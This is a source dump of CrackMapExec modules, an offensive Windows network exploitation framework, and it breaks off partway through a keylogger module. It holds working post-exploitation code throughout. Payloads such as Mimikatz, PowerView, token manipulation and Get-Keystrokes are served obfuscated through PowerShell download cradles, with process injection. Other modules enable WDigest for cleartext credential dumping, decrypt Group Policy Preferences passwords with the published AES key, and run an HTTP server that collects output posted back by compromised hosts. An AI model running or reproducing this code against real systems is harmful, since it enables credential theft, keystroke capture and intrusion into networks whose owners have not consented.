| from cme.helpers.powershell import * 2 | from cme.helpers.logger import write_log, highlight 3 | from datetime import datetime 4 | from StringIO import StringIO 5 | 6 | class CMEModule: 7 | 8 | name = 'get_netdomaincontroller' 9 | description = "Enumerates all domain controllers" 10 | supported_protocols = ['smb', 'mssql'] 11 | opsec_safe = True 12 | multiple_hosts = False 13 | 14 | def options(self, context, module_options): 15 | ''' 16 | INJECT If set to true, this allows PowerView to work over 'stealthier' execution methods which have non-interactive contexts (e.g. WMI) (default: True) 17 | ''' 18 | 19 | self.exec_methods = ['smbexec', 'atexec'] 20 | self.inject = True 21 | if 'INJECT' in module_options: 22 | self.inject = bool(module_options['INJECT']) 23 | 24 | if self.inject: self.exec_methods = None 25 | self.ps_script1 = obfs_ps_script('cme_powershell_scripts/Invoke-PSInject.ps1') 26 | self.ps_script2 = obfs_ps_script('powersploit/Recon/PowerView.ps1') 27 | 28 | def on_admin_login(self, context, connection): 29 | command = 'Get-NetDomainController | select Name,Domain,IPAddress | Out-String' 30 | launcher = gen_ps_iex_cradle(context, 'PowerView.ps1', command) 31 | 32 | if self.inject: 33 | launcher = gen_ps_inject(launcher, context, inject_once=True) 34 | 35 | connection.ps_execute(launcher, methods=self.exec_methods) 36 | 37 | context.log.success('Executed launcher') 38 | 39 | def on_request(self, context, request): 40 | if 'Invoke-PSInject.ps1' == request.path[1:]: 41 | request.send_response(200) 42 | request.end_headers() 43 | 44 | request.wfile.write(self.ps_script1) 45 | 46 | elif 'PowerView.ps1' == request.path[1:]: 47 | request.send_response(200) 48 | request.end_headers() 49 | 50 | request.wfile.write(self.ps_script2) 51 | 52 | else: 53 | request.send_response(404) 54 | request.end_headers() 55 | 56 | def on_response(self, context, response): 57 | response.send_response(200) 58 | response.end_headers() 59 | length = int(response.headers.getheader('content-length')) 60 | data = response.rfile.read(length) 61 | 62 | #We've received the response, stop tracking this host 63 | response.stop_tracking_host() 64 | 65 | dc_count = 0 66 | if len(data): 67 | buf = StringIO(data).readlines() 68 | for line in buf: 69 | if line != '\r\n' and not line.startswith('Name') and not line.startswith('---'): 70 | try: 71 | hostname, domain, ip = filter(None, line.strip().split(' ')) 72 | hostname = hostname.split('.')[0].upper() 73 | domain = domain.split('.')[0].upper() 74 | context.log.highlight('Hostname: {} Domain: {} IP: {}'.format(hostname, domain, ip)) 75 | context.db.add_computer(ip, hostname, domain, '', dc=True) 76 | dc_count += 1 77 | except Exception: 78 | context.log.error('Error parsing Domain Controller entry') 79 | 80 | context.log.success('Added {} Domain Controllers to the database'.format(highlight(dc_count))) 81 | 82 | log_name = 'Get_NetDomainController-{}-{}.log'.format(response.client_address[0], datetime.now().strftime("%Y-%m-%d_%H%M%S")) 83 | write_log(data, log_name) 84 | context.log.info("Saved raw output to {}".format(log_name)) -------------------------------------------------------------------------------- /cme/protocols/http/database.py: -------------------------------------------------------------------------------- 1 | class database: 2 | 3 | def __init__(self, conn): 4 | self.conn = conn 5 | 6 | @staticmethod 7 | def db_schema(db_conn): 8 | db_conn.execute('''CREATE TABLE "credentials" ( 9 | "id" integer PRIMARY KEY, 10 | "username" text, 11 | "password" text 12 | )''') 13 | 14 | db_conn.execute('''CREATE TABLE "hosts" ( 15 | "id" integer PRIMARY KEY, 16 | "ip" text, 17 | "hostname" text, 18 | "port" integer, 19 | "server" text, 20 | "page_title" text, 21 | "login_url" text 22 | )''') 23 | 24 | def add_credential(self, url, username, password): 25 | """ 26 | Check if this credential has already been added to the database, if not add it in. 27 | """ 28 | cur = self.conn.cursor() 29 | 30 | cur.execute("SELECT * FROM credentials WHERE LOWER(username)=LOWER(?) AND password=?", [url, username, password]) 31 | results = cur.fetchall() 32 | 33 | if not len(results): 34 | cur.execute("INSERT INTO credentials (username, password) VALUES (?,?)", [username, password] ) 35 | 36 | cur.close() 37 | 38 | def add_host(self, ip, hostname, port, title=None, login_url=None): 39 | cur = self.conn.cursor() 40 | 41 | cur.execute("SELECT * FROM hosts WHERE LOWER(ip)=LOWER(?) AND LOWER(hostname)=LOWER(?) AND port=? AND LOWER(login_url)=LOWER(?)", [ip, hostname, port, login_url]) 42 | results = cur.fetchall() 43 | 44 | if not len(results): 45 | cur.execute("INSERT INTO hosts (ip, hostname, port, login_url) VALUES (?,?,?,?)", [ip, hostname, port, login_url]) 46 | 47 | cur.close() 48 | 49 | def is_credential_valid(self, credentialID): 50 | """ 51 | Check if this credential ID is valid. 52 | """ 53 | cur = self.conn.cursor() 54 | cur.execute('SELECT * FROM credentials WHERE id=? LIMIT 1', [credentialID]) 55 | results = cur.fetchall() 56 | cur.close() 57 | return len(results) > 0 58 | 59 | def is_host_valid(self, hostID): 60 | """ 61 | Check if this credential ID is valid. 62 | """ 63 | cur = self.conn.cursor() 64 | cur.execute('SELECT * FROM host WHERE id=? LIMIT 1', [hostID]) 65 | results = cur.fetchall() 66 | cur.close() 67 | return len(results) > 0 68 | 69 | def get_credentials(self, filterTerm=None): 70 | """ 71 | Return credentials from the database. 72 | """ 73 | 74 | cur = self.conn.cursor() 75 | 76 | # if we're returning a single credential by ID 77 | if self.is_credential_valid(filterTerm): 78 | cur.execute("SELECT * FROM credentials WHERE id=? LIMIT 1", [filterTerm]) 79 | 80 | # if we're filtering by username 81 | elif filterTerm and filterTerm != "": 82 | cur.execute("SELECT * FROM credentials WHERE LOWER(username) LIKE LOWER(?)", ['%{}%'.format(filterTerm.lower())]) 83 | 84 | # otherwise return all credentials 85 | else: 86 | cur.execute("SELECT * FROM credentials") 87 | 88 | results = cur.fetchall() 89 | cur.close() 90 | return results 91 | 92 | def remove_credentials(self, credIDs): 93 | """ 94 | Removes a credential ID from the database 95 | """ 96 | for credID in credIDs: 97 | cur = self.conn.cursor() 98 | cur.execute("DELETE FROM credentials WHERE id=?", [credID]) 99 | cur.close() 100 | -------------------------------------------------------------------------------- /cme/first_run.py: -------------------------------------------------------------------------------- 1 | import os 2 | import sqlite3 3 | import shutil 4 | import cme 5 | from ConfigParser import ConfigParser, NoSectionError, NoOptionError 6 | from cme.loaders.protocol_loader import protocol_loader 7 | from subprocess import check_output, PIPE 8 | from sys import exit 9 | 10 | CME_PATH = os.path.expanduser('~/.cme') 11 | TMP_PATH = os.path.join('/tmp', 'cme_hosted') 12 | WS_PATH = os.path.join(CME_PATH, 'workspaces') 13 | CERT_PATH = os.path.join(CME_PATH, 'cme.pem') 14 | CONFIG_PATH = os.path.join(CME_PATH, 'cme.conf') 15 | 16 | 17 | def first_run_setup(logger): 18 | 19 | if not os.path.exists(TMP_PATH): 20 | os.mkdir(TMP_PATH) 21 | 22 | if not os.path.exists(CME_PATH): 23 | logger.info('First time use detected') 24 | logger.info('Creating home directory structure') 25 | os.mkdir(CME_PATH) 26 | 27 | folders = ['logs', 'modules', 'protocols', 'workspaces', 'obfuscated_scripts'] 28 | for folder in folders: 29 | if not os.path.exists(os.path.join(CME_PATH, folder)): 30 | os.mkdir(os.path.join(CME_PATH, folder)) 31 | 32 | if not os.path.exists(os.path.join(WS_PATH, 'default')): 33 | logger.info('Creating default workspace') 34 | os.mkdir(os.path.join(WS_PATH, 'default')) 35 | 36 | p_loader = protocol_loader() 37 | protocols = p_loader.get_protocols() 38 | for protocol in protocols.keys(): 39 | try: 40 | protocol_object = p_loader.load_protocol(protocols[protocol]['dbpath']) 41 | except KeyError: 42 | continue 43 | 44 | proto_db_path = os.path.join(WS_PATH, 'default', protocol + '.db') 45 | 46 | if not os.path.exists(proto_db_path): 47 | logger.info('Initializing {} protocol database'.format(protocol.upper())) 48 | conn = sqlite3.connect(proto_db_path) 49 | c = conn.cursor() 50 | 51 | # try to prevent some of the weird sqlite I/O errors 52 | c.execute('PRAGMA journal_mode = OFF') 53 | c.execute('PRAGMA foreign_keys = 1') 54 | 55 | getattr(protocol_object, 'database').db_schema(c) 56 | 57 | # commit the changes and close everything off 58 | conn.commit() 59 | conn.close() 60 | 61 | if not os.path.exists(CONFIG_PATH): 62 | logger.info('Copying default configuration file') 63 | default_path = os.path.join(os.path.dirname(cme.__file__), 'data', 'cme.conf') 64 | shutil.copy(default_path, CME_PATH) 65 | else: 66 | # This is just a quick check to make sure the config file isn't the old 3.x format 67 | try: 68 | config = ConfigParser() 69 | config.read(CONFIG_PATH) 70 | config.get('CME', 'workspace') 71 | config.get('CME', 'pwn3d_label') 72 | except (NoSectionError, NoOptionError): 73 | logger.info('Old configuration file detected, replacing with new version') 74 | default_path = os.path.join(os.path.dirname(cme.__file__), 'data', 'cme.conf') 75 | shutil.copy(default_path, CME_PATH) 76 | 77 | if not os.path.exists(CERT_PATH): 78 | logger.info('Generating SSL certificate') 79 | try: 80 | check_output(['openssl', 'help'], stderr=PIPE) 81 | except OSError as e: 82 | if e.errno == os.errno.ENOENT: 83 | logger.error('OpenSSL command line utility is not installed, could not generate certificate') 84 | exit(1) 85 | else: 86 | logger.error('Error while generating SSL certificate: {}'.format(e)) 87 | exit(1) 88 | 89 | os.system('openssl req -new -x509 -keyout {path} -out {path} -days 365 -nodes -subj "/C=US" > /dev/null 2>&1'.format(path=CERT_PATH)) 90 | -------------------------------------------------------------------------------- /cme/modules/wdigest.py: -------------------------------------------------------------------------------- 1 | from impacket.dcerpc.v5.rpcrt import DCERPCException 2 | from impacket.dcerpc.v5 import rrp 3 | from impacket.examples.secretsdump import RemoteOperations 4 | from sys import exit 5 | 6 | class CMEModule: 7 | 8 | name = 'wdigest' 9 | description = "Creates/Deletes the 'UseLogonCredential' registry key enabling WDigest cred dumping on Windows >= 8.1" 10 | supported_protocols = ['smb'] 11 | opsec_safe = True 12 | multiple_hosts = True 13 | 14 | def options(self, context, module_options): 15 | ''' 16 | ACTION Create/Delete the registry key (choices: enable, disable) 17 | ''' 18 | 19 | if not 'ACTION' in module_options: 20 | context.log.error('ACTION option not specified!') 21 | exit(1) 22 | 23 | if module_options['ACTION'].lower() not in ['enable', 'disable']: 24 | context.log.error('Invalid value for ACTION option!') 25 | exit(1) 26 | 27 | self.action = module_options['ACTION'].lower() 28 | 29 | def on_admin_login(self, context, connection): 30 | if self.action == 'enable': 31 | self.wdigest_enable(context, connection.conn) 32 | elif self.action == 'disable': 33 | self.wdigest_disable(context, connection.conn) 34 | 35 | def wdigest_enable(self, context, smbconnection): 36 | remoteOps = RemoteOperations(smbconnection, False) 37 | remoteOps.enableRegistry() 38 | 39 | if remoteOps._RemoteOperations__rrp: 40 | ans = rrp.hOpenLocalMachine(remoteOps._RemoteOperations__rrp) 41 | regHandle = ans['phKey'] 42 | 43 | ans = rrp.hBaseRegOpenKey(remoteOps._RemoteOperations__rrp, regHandle, 'SYSTEM\\CurrentControlSet\\Control\\SecurityProviders\\WDigest') 44 | keyHandle = ans['phkResult'] 45 | 46 | rrp.hBaseRegSetValue(remoteOps._RemoteOperations__rrp, keyHandle, 'UseLogonCredential\x00', rrp.REG_DWORD, 1) 47 | 48 | rtype, data = rrp.hBaseRegQueryValue(remoteOps._RemoteOperations__rrp, keyHandle, 'UseLogonCredential\x00') 49 | 50 | if int(data) == 1: 51 | context.log.success('UseLogonCredential registry key created successfully') 52 | 53 | try: 54 | remoteOps.finish() 55 | except: 56 | pass 57 | 58 | def wdigest_disable(self, context, smbconnection): 59 | remoteOps = RemoteOperations(smbconnection, False) 60 | remoteOps.enableRegistry() 61 | 62 | if remoteOps._RemoteOperations__rrp: 63 | ans = rrp.hOpenLocalMachine(remoteOps._RemoteOperations__rrp) 64 | regHandle = ans['phKey'] 65 | 66 | ans = rrp.hBaseRegOpenKey(remoteOps._RemoteOperations__rrp, regHandle, 'SYSTEM\\CurrentControlSet\\Control\\SecurityProviders\\WDigest') 67 | keyHandle = ans['phkResult'] 68 | 69 | try: 70 | rrp.hBaseRegDeleteValue(remoteOps._RemoteOperations__rrp, keyHandle, 'UseLogonCredential\x00') 71 | except: 72 | context.log.success('UseLogonCredential registry key not present') 73 | 74 | try: 75 | remoteOps.finish() 76 | except: 77 | pass 78 | 79 | return 80 | 81 | try: 82 | #Check to make sure the reg key is actually deleted 83 | rtype, data = rrp.hBaseRegQueryValue(remoteOps._RemoteOperations__rrp, keyHandle, 'UseLogonCredential\x00') 84 | except DCERPCException: 85 | context.log.success('UseLogonCredential registry key deleted successfully') 86 | 87 | try: 88 | remoteOps.finish() 89 | except: 90 | pass 91 | 92 | -------------------------------------------------------------------------------- /cme/loaders/module_loader.py: -------------------------------------------------------------------------------- 1 | import imp 2 | import os 3 | import sys 4 | import cme 5 | from cme.context import Context 6 | from cme.logger import CMEAdapter 7 | 8 | class module_loader: 9 | 10 | def __init__(self, args, db, logger): 11 | self.args = args 12 | self.db = db 13 | self.logger = logger 14 | self.cme_path = os.path.expanduser('~/.cme') 15 | 16 | def module_is_sane(self, module, module_path): 17 | module_error = False 18 | 19 | if not hasattr(module, 'name'): 20 | self.logger.error('{} missing the name variable'.format(module_path)) 21 | module_error = True 22 | 23 | elif not hasattr(module, 'description'): 24 | self.logger.error('{} missing the description variable'.format(module_path)) 25 | module_error = True 26 | 27 | #elif not hasattr(module, 'chain_support'): 28 | # self.logger.error('{} missing the chain_support variable'.format(module_path)) 29 | # module_error = True 30 | 31 | elif not hasattr(module, 'supported_protocols'): 32 | self.logger.error('{} missing the supported_protocols variable'.format(module_path)) 33 | module_error = True 34 | 35 | elif not hasattr(module, 'opsec_safe'): 36 | self.logger.error('{} missing the opsec_safe variable'.format(module_path)) 37 | module_error = True 38 | 39 | elif not hasattr(module, 'multiple_hosts'): 40 | self.logger.error('{} missing the multiple_hosts variable'.format(module_path)) 41 | module_error = True 42 | 43 | elif not hasattr(module, 'options'): 44 | self.logger.error('{} missing the options function'.format(module_path)) 45 | module_error = True 46 | 47 | elif not hasattr(module, 'on_login') and not (module, 'on_admin_login'): 48 | self.logger.error('{} missing the on_login/on_admin_login function(s)'.format(module_path)) 49 | module_error = True 50 | 51 | if module_error: return False 52 | 53 | return True 54 | 55 | def load_module(self, module_path): 56 | try: 57 | module = imp.load_source('payload_module', module_path).CMEModule() 58 | if self.module_is_sane(module, module_path): 59 | return module 60 | except Exception as e: 61 | self.logger.error('Failed loading module at {}: {}'.format(module_path, e)) 62 | 63 | return None 64 | 65 | def get_modules(self): 66 | modules = {} 67 | 68 | modules_paths = [os.path.join(os.path.dirname(cme.__file__), 'modules'), os.path.join(self.cme_path, 'modules')] 69 | 70 | for path in modules_paths: 71 | for module in os.listdir(path): 72 | if module[-3:] == '.py' and module != 'example_module.py': 73 | module_path = os.path.join(path, module) 74 | m = self.load_module(os.path.join(path, module)) 75 | if m and (self.args.protocol in m.supported_protocols): 76 | modules[m.name] = {'path': os.path.join(path, module), 'description': m.description, 'options': m.options.__doc__}#'chain_support': m.chain_support} 77 | 78 | return modules 79 | 80 | def init_module(self, module_path): 81 | 82 | module = None 83 | 84 | module = self.load_module(module_path) 85 | 86 | if module: 87 | module_logger = CMEAdapter(extra={'module': module.name.upper()}) 88 | context = Context(self.db, module_logger, self.args) 89 | 90 | module_options = {} 91 | 92 | for option in self.args.module_options: 93 | key, value = option.split('=', 1) 94 | module_options[str(key).upper()] = value 95 | 96 | module.options(context, module_options) 97 | 98 | return module 99 | -------------------------------------------------------------------------------- /cme/modules/mimikatz_enum_vault_creds.py: -------------------------------------------------------------------------------- 1 | from cme.helpers.powershell import * 2 | from cme.helpers.logger import write_log 3 | from datetime import datetime 4 | from StringIO import StringIO 5 | 6 | class CMEModule: 7 | ''' 8 | Executes PowerSploit's Invoke-Mimikatz.ps1 script and decrypts stored credentials in Windows Vault/Credential Manager 9 | Module by @byt3bl33d3r 10 | ''' 11 | 12 | name = 'mimikatz_enum_vault_creds' 13 | description = "Decrypts saved credentials in Windows Vault/Credential Manager" 14 | opsec_safe = True 15 | multiple_hosts = True 16 | supported_protocols = ['smb', 'mssql'] 17 | 18 | def options(self, context, module_options): 19 | ''' 20 | ''' 21 | 22 | self.ps_script = obfs_ps_script('powersploit/Exfiltration/Invoke-Mimikatz.ps1') 23 | 24 | def on_admin_login(self, context, connection): 25 | command = "Invoke-Mimikatz -Command 'privilege::debug" 26 | users = [] 27 | 28 | loggedon_users = connection.loggedon_users() 29 | for user in loggedon_users: 30 | if not user.wkui1_username.endswith('$'): 31 | users.append(user.wkui1_username) 32 | 33 | if not users: 34 | context.log.error('No logged in users!') 35 | return 36 | 37 | for user in users: 38 | command += ' "token::elevate /user:{}" vault::list'.format(user) 39 | command += " exit'" 40 | 41 | launcher = gen_ps_iex_cradle(context, 'Invoke-Mimikatz.ps1', command) 42 | 43 | connection.ps_execute(launcher) 44 | context.log.success('Executed launcher') 45 | 46 | def on_request(self, context, request): 47 | if 'Invoke-Mimikatz.ps1' == request.path[1:]: 48 | request.send_response(200) 49 | request.end_headers() 50 | 51 | request.wfile.write(self.ps_script) 52 | 53 | else: 54 | request.send_response(404) 55 | request.end_headers() 56 | 57 | def on_response(self, context, response): 58 | response.send_response(200) 59 | response.end_headers() 60 | length = int(response.headers.getheader('content-length')) 61 | data = response.rfile.read(length) 62 | 63 | #We've received the response, stop tracking this host 64 | response.stop_tracking_host() 65 | 66 | if len(data): 67 | buf = StringIO(data).readlines() 68 | creds = [] 69 | 70 | try: 71 | i = 0 72 | while i < len(buf): 73 | if ('Ressource' in buf[i]): 74 | url = buf[i].split(':', 1)[1].strip().replace('[STRING]', '') 75 | user = buf[i+1].split(':', 1)[1].strip().replace('[STRING]', '') 76 | passw = buf[i+4].split(':', 1)[1].strip().replace('[STRING]', '') 77 | 78 | if '[BYTE*]' not in passw: 79 | creds.append({'url': url, 'user': user, 'passw': passw}) 80 | 81 | i += 1 82 | except: 83 | context.log.error('Error parsing Mimikatz output, please check log file manually for possible credentials') 84 | 85 | if creds: 86 | context.log.success('Found saved Vault credentials:') 87 | for cred in creds: 88 | if cred['user'] and cred['passw']: 89 | context.log.highlight('URL: ' + cred['url']) 90 | context.log.highlight('Username: ' + cred['user']) 91 | context.log.highlight('Password: ' + cred['passw']) 92 | context.log.highlight('') 93 | 94 | log_name = 'EnumVaultCreds-{}-{}.log'.format(response.client_address[0], datetime.now().strftime("%Y-%m-%d_%H%M%S")) 95 | write_log(data, log_name) 96 | context.log.info("Saved Mimikatz's output to {}".format(log_name)) 97 | -------------------------------------------------------------------------------- /cme/modules/tokens.py: -------------------------------------------------------------------------------- 1 | from cme.helpers.powershell import * 2 | from datetime import datetime 3 | from StringIO import StringIO 4 | import os 5 | import sys 6 | 7 | class CMEModule: 8 | ''' 9 | Enumerates available tokens using Powersploit's Invoke-TokenManipulation 10 | Module by @byt3bl33d3r 11 | ''' 12 | 13 | name = 'tokens' 14 | description = "Enumerates available tokens" 15 | supported_protocols = ['mssql', 'smb'] 16 | opsec_safe = True 17 | multiple_hosts = True 18 | 19 | def options(self, context, module_options): 20 | ''' 21 | USER Search for the specified username in available tokens (default: None) 22 | USERFILE File containing usernames to search for in available tokens (defult: None) 23 | ''' 24 | 25 | self.user = None 26 | self.userfile = None 27 | 28 | if 'USER' in module_options and 'USERFILE' in module_options: 29 | context.log.error('USER and USERFILE options are mutually exclusive!') 30 | sys.exit(1) 31 | 32 | if 'USER' in module_options: 33 | self.user = module_options['USER'] 34 | 35 | elif 'USERFILE' in module_options: 36 | path = os.path.expanduser(module_options['USERFILE']) 37 | 38 | if not os.path.exists(path): 39 | context.log.error('Path to USERFILE invalid!') 40 | sys.exit(1) 41 | 42 | self.userfile = path 43 | 44 | self.ps_script = obfs_ps_script('powersploit/Exfiltration/Invoke-TokenManipulation.ps1') 45 | 46 | def on_admin_login(self, context, connection): 47 | command = "Invoke-TokenManipulation -Enumerate | Select-Object Domain, Username, ProcessId, IsElevated | Out-String" 48 | launcher = gen_ps_iex_cradle(context, 'Invoke-TokenManipulation.ps1', command) 49 | 50 | connection.ps_execute(launcher, methods=['smbexec']) 51 | context.log.success('Executed payload') 52 | 53 | def on_request(self, context, request): 54 | if 'Invoke-TokenManipulation.ps1' == request.path[1:]: 55 | request.send_response(200) 56 | request.end_headers() 57 | 58 | request.wfile.write(self.ps_script) 59 | 60 | else: 61 | request.send_response(404) 62 | request.end_headers() 63 | 64 | def on_response(self, context, response): 65 | response.send_response(200) 66 | response.end_headers() 67 | length = int(response.headers.getheader('content-length')) 68 | data = response.rfile.read(length) 69 | 70 | #We've received the response, stop tracking this host 71 | response.stop_tracking_host() 72 | 73 | if len(data) > 0: 74 | 75 | def print_post_data(data): 76 | buf = StringIO(data.strip()).readlines() 77 | for line in buf: 78 | context.log.highlight(line.strip()) 79 | 80 | context.log.success('Enumerated available tokens') 81 | 82 | if self.user: 83 | if data.find(self.user) != -1: 84 | context.log.success("Found token for user {}!".format(self.user)) 85 | print_post_data(data) 86 | 87 | elif self.userfile: 88 | with open(self.userfile, 'r') as userfile: 89 | for user in userfile: 90 | user = user.strip() 91 | if data.find(user) != -1: 92 | context.log.success("Found token for user {}!".format(user)) 93 | print_post_data(data) 94 | break 95 | 96 | else: 97 | print_post_data(data) 98 | 99 | log_name = 'Tokens-{}-{}.log'.format(response.client_address[0], datetime.now().strftime("%Y-%m-%d_%H%M%S")) 100 | write_log(data, log_name) 101 | context.log.info("Saved output to {}".format(log_name)) 102 | -------------------------------------------------------------------------------- /cme/modules/gpp_password.py: -------------------------------------------------------------------------------- 1 | import xml.etree.ElementTree as ET 2 | from Crypto.Cipher import AES 3 | from base64 import b64decode 4 | from binascii import unhexlify 5 | from StringIO import StringIO 6 | 7 | class CMEModule: 8 | ''' 9 | Reference: https://github.com/PowerShellMafia/PowerSploit/blob/master/Exfiltration/Get-GPPPassword.ps1 10 | Module by @byt3bl33d3r 11 | ''' 12 | 13 | name = 'gpp_password' 14 | description = 'Retrieves the plaintext password and other information for accounts pushed through Group Policy Preferences.' 15 | supported_protocols = ['smb'] 16 | opsec_safe = True 17 | multiple_hosts = True 18 | 19 | def options(self, context, module_options): 20 | ''' 21 | ''' 22 | 23 | def on_login(self, context, connection): 24 | shares = connection.shares() 25 | for share in shares: 26 | if share['name'] == 'SYSVOL' and 'READ' in share['access']: 27 | 28 | context.log.success('Found SYSVOL share') 29 | context.log.info('Searching for potential XML files containing passwords') 30 | 31 | paths = connection.spider('SYSVOL', pattern=['Groups.xml','Services.xml','Scheduledtasks.xml','DataSources.xml','Printers.xml','Drives.xml']) 32 | 33 | for path in paths: 34 | context.log.info('Found {}'.format(path)) 35 | 36 | buf = StringIO() 37 | connection.conn.getFile('SYSVOL', path, buf.write) 38 | xml = ET.fromstring(buf.getvalue()) 39 | 40 | if 'Groups.xml' in path: 41 | xml_section = xml.findall("./User/Properties") 42 | 43 | elif 'Services.xml' in path: 44 | xml_section = xml.findall('./NTService/Properties') 45 | 46 | elif 'Scheduledtasks.xml' in path: 47 | xml_section = xml.findall('./Task/Properties') 48 | 49 | elif 'DataSources.xml' in path: 50 | xml_section = xml.findall('./DataSource/Properties') 51 | 52 | elif 'Printers.xml' in path: 53 | xml_section = xml.findall('./SharedPrinter/Properties') 54 | 55 | elif 'Drives.xml' in path: 56 | xml_section = xml.findall('./Drive/Properties') 57 | 58 | for attr in xml_section: 59 | props = attr.attrib 60 | 61 | if props.has_key('cpassword'): 62 | 63 | for user_tag in ['userName', 'accountName', 'runAs', 'username']: 64 | if props.has_key(user_tag): 65 | username = props[user_tag] 66 | 67 | password = self.decrypt_cpassword(props['cpassword']) 68 | 69 | context.log.success('Found credentials in {}'.format(path)) 70 | context.log.highlight('Password: {}'.format(password)) 71 | for k,v in props.iteritems(): 72 | if k != 'cpassword': 73 | context.log.highlight('{}: {}'.format(k, v)) 74 | 75 | hostid = context.db.get_computers(connection.host)[0][0] 76 | context.db.add_credential('plaintext', '', username, password, pillaged_from=hostid) 77 | 78 | def decrypt_cpassword(self, cpassword): 79 | 80 | #Stolen from https://github.com/leonteale/pentestpackage/blob/master/Gpprefdecrypt.py 81 | 82 | # From MSDN: http://msdn.microsoft.com/en-us/library/2c15cbf0-f086-4c74-8b70-1f2fa45dd4be%28v=PROT.13%29#endNote2 83 | key = unhexlify('4e9906e8fcb66cc9faf49310620ffee8f496e806cc057990209b09a433b66c1b') 84 | try: 85 | password = b64decode(cpassword) 86 | except TypeError: 87 | cpassword += "=" * ((4 - len(cpassword) % 4) % 4) 88 | password = b64decode(cpassword) 89 | 90 | decypted = AES.new(key, AES.MODE_CBC, "\x00" * 16).decrypt(password) 91 | 92 | return decypted[:-ord(decypted[-1])].decode('utf16') -------------------------------------------------------------------------------- /cme/servers/http.py: -------------------------------------------------------------------------------- 1 | import BaseHTTPServer 2 | import threading 3 | import ssl 4 | import os 5 | import sys 6 | import logging 7 | from BaseHTTPServer import BaseHTTPRequestHandler 8 | from gevent import sleep 9 | from cme.helpers.logger import highlight 10 | from cme.logger import CMEAdapter 11 | 12 | class RequestHandler(BaseHTTPRequestHandler): 13 | 14 | def log_message(self, format, *args): 15 | server_logger = CMEAdapter(extra={'module': self.server.module.name.upper(), 'host': self.client_address[0]}) 16 | server_logger.info("- - %s" % (format%args)) 17 | 18 | def do_GET(self): 19 | if hasattr(self.server.module, 'on_request'): 20 | server_logger = CMEAdapter(extra={'module': self.server.module.name.upper(), 'host': self.client_address[0]}) 21 | self.server.context.log = server_logger 22 | self.server.module.on_request(self.server.context, self) 23 | 24 | def do_POST(self): 25 | if hasattr(self.server.module, 'on_response'): 26 | server_logger = CMEAdapter(extra={'module': self.server.module.name.upper(), 'host': self.client_address[0]}) 27 | self.server.context.log = server_logger 28 | self.server.module.on_response(self.server.context, self) 29 | 30 | def stop_tracking_host(self): 31 | ''' 32 | This gets called when a module has finshed executing, removes the host from the connection tracker list 33 | ''' 34 | try: 35 | self.server.hosts.remove(self.client_address[0]) 36 | if hasattr(self.server.module, 'on_shutdown'): 37 | self.server.module.on_shutdown(self.server.context, self.server.connection) 38 | except ValueError: 39 | pass 40 | 41 | class CMEServer(threading.Thread): 42 | 43 | def __init__(self, module, context, logger, srv_host, port, server_type='https'): 44 | 45 | try: 46 | threading.Thread.__init__(self) 47 | 48 | self.server = BaseHTTPServer.HTTPServer((srv_host, int(port)), RequestHandler) 49 | self.server.hosts = [] 50 | self.server.module = module 51 | self.server.context = context 52 | self.server.log = CMEAdapter(extra={'module': self.server.module.name.upper()}) 53 | self.cert_path = os.path.join(os.path.expanduser('~/.cme'), 'cme.pem') 54 | self.server.track_host = self.track_host 55 | 56 | logging.debug('CME server type: ' + server_type) 57 | if server_type == 'https': 58 | self.server.socket = ssl.wrap_socket(self.server.socket, certfile=self.cert_path, server_side=True) 59 | 60 | except Exception as e: 61 | errno, message = e.args 62 | if errno == 98 and message == 'Address already in use': 63 | logger.error('Error starting HTTP(S) server: the port is already in use, try specifying a diffrent port using --server-port') 64 | else: 65 | logger.error('Error starting HTTP(S) server: {}'.format(message)) 66 | 67 | sys.exit(1) 68 | 69 | def base_server(self): 70 | return self.server 71 | 72 | def track_host(self, host_ip): 73 | self.server.hosts.append(host_ip) 74 | 75 | def run(self): 76 | try: 77 | self.server.serve_forever() 78 | except: 79 | pass 80 | 81 | def shutdown(self): 82 | try: 83 | while len(self.server.hosts) > 0: 84 | self.server.log.info('Waiting on {} host(s)'.format(highlight(len(self.server.hosts)))) 85 | sleep(15) 86 | except KeyboardInterrupt: 87 | pass 88 | 89 | # shut down the server/socket 90 | self.server.shutdown() 91 | self.server.socket.close() 92 | self.server.server_close() 93 | self._Thread__stop() 94 | 95 | # make sure all the threads are killed 96 | for thread in threading.enumerate(): 97 | if thread.isAlive(): 98 | try: 99 | thread._Thread__stop() 100 | except: 101 | pass 102 | -------------------------------------------------------------------------------- /cme/modules/get_keystrokes.py: -------------------------------------------------------------------------------- 1 | from cme.helpers.powershell import * 2 | from cme.helpers.misc import gen_random_string 3 | from cme.servers.smb import CMESMBServer 4 | from gevent import sleep 5 | from sys import exit 6 | import os 7 | 8 | class CMEModule: 9 | ''' 10 | Executes PowerSploit's Get-Keystrokes script 11 | Module by @byt3bl33d3r 12 | ''' 13 | 14 | name = 'get_keystrokes' 15 | description = "Logs keys pressed, time and the active window" 16 | supported_protocols = ['smb', 'mssql'] 17 | opsec_safe = True 18 | multiple_hosts = True 19 | 20 | def options(self, context, module_options): 21 | ''' 22 | TIMEOUT Specifies the interval in minutes to capture keystrokes. 23 | STREAM Specifies whether to stream the keys over the network (default: False) 24 | POLL Specifies the interval in seconds to poll the log file (default: 20) 25 | ''' 26 | 27 | if 'TIMEOUT' not in module_options: 28 | context.log.error('TIMEOUT option is required!') 29 | exit(1) 30 | 31 | self.stream = False 32 | self.poll = 20 33 | self.timeout = int(module_options['TIMEOUT']) 34 | 35 | if 'STREAM' in module_options: 36 | self.stream = bool(module_options['STREAM']) 37 | if 'POLL' in module_options: 38 | self.poll = int(module_options['POLL']) 39 | 40 | context.log.info('This module will not exit until CTRL-C is pressed') 41 | context.log.info('Keystrokes will be stored in ~/.cme/logs\n') 42 | 43 | self.ps_script1 = obfs_ps_script('cme_powershell_scripts/Invoke-PSInject.ps1') 44 | self.ps_script2 = obfs_ps_script('powersploit/Exfiltration/Get-Keystrokes.ps1') 45 | 46 | if self.stream: 47 | self.share_name = gen_random_string(5).upper() 48 | self.smb_server = CMESMBServer(context.log, self.share_name, context.log_folder_path) 49 | self.smb_server.start() 50 | else: 51 | self.file_name = gen_random_string(5) 52 | 53 | def on_admin_login(self, context, connection): 54 | keys_folder = 'get_keystrokes_{}'.format(connection.host) 55 | 56 | if not self.stream: 57 | command = 'Get-Keystrokes -LogPath "$Env:Temp\\{}" -Timeout {}'.format(self.file_name, self.timeout) 58 | else: 59 | command = 'Get-Keystrokes -LogPath \\\\{}\\{}\\{}\\keys.log -Timeout {}'.format(context.localip, self.share_name, keys_folder, self.timeout) 60 | 61 | keys_command = gen_ps_iex_cradle(context, 'Get-Keystrokes.ps1', command, post_back=False) 